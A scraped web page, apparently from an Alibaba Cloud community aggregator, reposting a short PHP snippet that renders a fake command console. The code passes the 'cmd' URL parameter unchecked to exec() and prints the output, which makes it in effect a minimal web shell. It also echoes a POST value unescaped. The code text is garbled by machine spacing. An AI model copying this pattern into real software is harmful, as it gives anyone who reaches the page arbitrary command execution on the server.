Php simulates cmd interface, php simulates cmd

Source: Internet
Author: User

Php simulates cmd interface, php simulates cmd

<Title> Cmd console </title> <? Php error_reporting (0)?> <Form action = "exec. php "method =" get "> cmd >_: <input style =" background: transparent; border: 1px solid # ffffff "type =" text "name =" cmd "value =" <? Php echo $ _ POST ['url']?> "> <INPUT style =" DISPLAY: none "type = submit value = submit hidden> <br> </form> <? Php $ exe = $ _ GET ['cmd']; exec ($ exe, $ out); // var_dump ($ cmd); // system ($ exe ); foreach ($ out as $ e) echo $ e. '<br>';?> <STYLE> BODY {color: # F00 FONT-SIZE: 10pt; CURSOR: default; COLOR: rgb (160,160,160); FONT-FAMILY: Fixedsys; BACKGROUND-COLOR: black; scroll = no} input {color: # fff;} input:-webkit-input-placeholder {color: # fff ;}</STYLE>

It's a bad job, but it's the first step to learn css.

:


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.